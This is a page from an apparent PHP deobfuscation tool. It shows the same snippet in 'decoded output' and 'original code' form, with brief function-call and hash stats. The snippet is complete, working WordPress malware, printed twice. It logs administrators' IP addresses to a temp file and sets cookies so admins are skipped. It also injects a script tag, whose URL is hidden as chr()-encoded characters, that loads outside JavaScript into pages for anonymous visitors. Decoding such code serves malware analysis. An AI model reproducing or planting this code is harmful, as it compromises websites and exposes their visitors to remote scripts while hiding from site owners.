Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
ini_set('display_errors', 0); error_reporting(0); $d=sys_get_temp_dir().'/wp.txt';if (!f..
Decoded Output download
<? ini_set('display_errors', 0); error_reporting(0); $d=sys_get_temp_dir().'/wp.txt';if (!file_exists($d))file_put_contents($d,'ip:');if (!file_exists($d)){$d='/wp.txt';file_put_contents($d,'ip:');} if (!file_exists($d)){ $d='/tmp/wp.txt'; file_put_contents($d,'ip:'); } if (file_exists($d)){ if ( ! function_exists( 'slider_shown' ) ) { function slider_shown($content){ if(is_single()){ $con = ''; $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(111).chr(108).chr(108).chr(101).chr(99).chr(116).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(102).chr(105).chr(114).chr(115).chr(116).chr(45).chr(115).chr(116).chr(101).chr(112); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'">';$content=$content.$con2;}return $content;} function slider_shown_footer(){ if(!is_single()){ $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(111).chr(108).chr(108).chr(101).chr(99).chr(116).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(102).chr(105).chr(114).chr(115).chr(116).chr(45).chr(115).chr(116).chr(101).chr(112); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'"></script>';echo $con2;} } function setting_my_first_cookie() { setcookie( 'wordpress_wps_admin',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); }if(is_user_logged_in()){ add_action( 'init', 'setting_my_first_cookie',1 );} if( current_user_can('edit_others_pages')){ if (file_exists( $d)){$ip=@file_get_contents($d);} if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){$ip.=$_SERVER['REMOTE_ADDR'].''; @file_put_contents($d,$ip);} } setcookie("wordpress_wps_visit", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); if(!isset($_COOKIE['wordpress_wps_admin']) && !is_user_logged_in()) {$adtxt=@file_get_contents($d); if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){ add_filter('the_content','slider_shown');add_action('wp_footer','slider_shown_footer');}} } } ?>
Did this file decode correctly?
Original Code
ini_set('display_errors', 0); error_reporting(0); $d=sys_get_temp_dir().'/wp.txt';if (!file_exists($d))file_put_contents($d,'ip:');if (!file_exists($d)){$d='/wp.txt';file_put_contents($d,'ip:');} if (!file_exists($d)){ $d='/tmp/wp.txt'; file_put_contents($d,'ip:'); } if (file_exists($d)){ if ( ! function_exists( 'slider_shown' ) ) { function slider_shown($content){ if(is_single()){ $con = ''; $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(111).chr(108).chr(108).chr(101).chr(99).chr(116).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(102).chr(105).chr(114).chr(115).chr(116).chr(45).chr(115).chr(116).chr(101).chr(112); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'">';$content=$content.$con2;}return $content;} function slider_shown_footer(){ if(!is_single()){ $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(111).chr(108).chr(108).chr(101).chr(99).chr(116).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(102).chr(105).chr(114).chr(115).chr(116).chr(45).chr(115).chr(116).chr(101).chr(112); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'"></script>';echo $con2;} } function setting_my_first_cookie() { setcookie( 'wordpress_wps_admin',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); }if(is_user_logged_in()){ add_action( 'init', 'setting_my_first_cookie',1 );} if( current_user_can('edit_others_pages')){ if (file_exists( $d)){$ip=@file_get_contents($d);} if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){$ip.=$_SERVER['REMOTE_ADDR'].''; @file_put_contents($d,$ip);} } setcookie("wordpress_wps_visit", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); if(!isset($_COOKIE['wordpress_wps_admin']) && !is_user_logged_in()) {$adtxt=@file_get_contents($d); if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){ add_filter('the_content','slider_shown');add_action('wp_footer','slider_shown_footer');}} } }
Function Calls
ini_set | 1 |
error_reporting | 1 |
sys_get_temp_dir | 1 |
Stats
MD5 | 18f563f7a0be845c00587a9337e97de0 |
Eval Count | 0 |
Decode Time | 60 ms |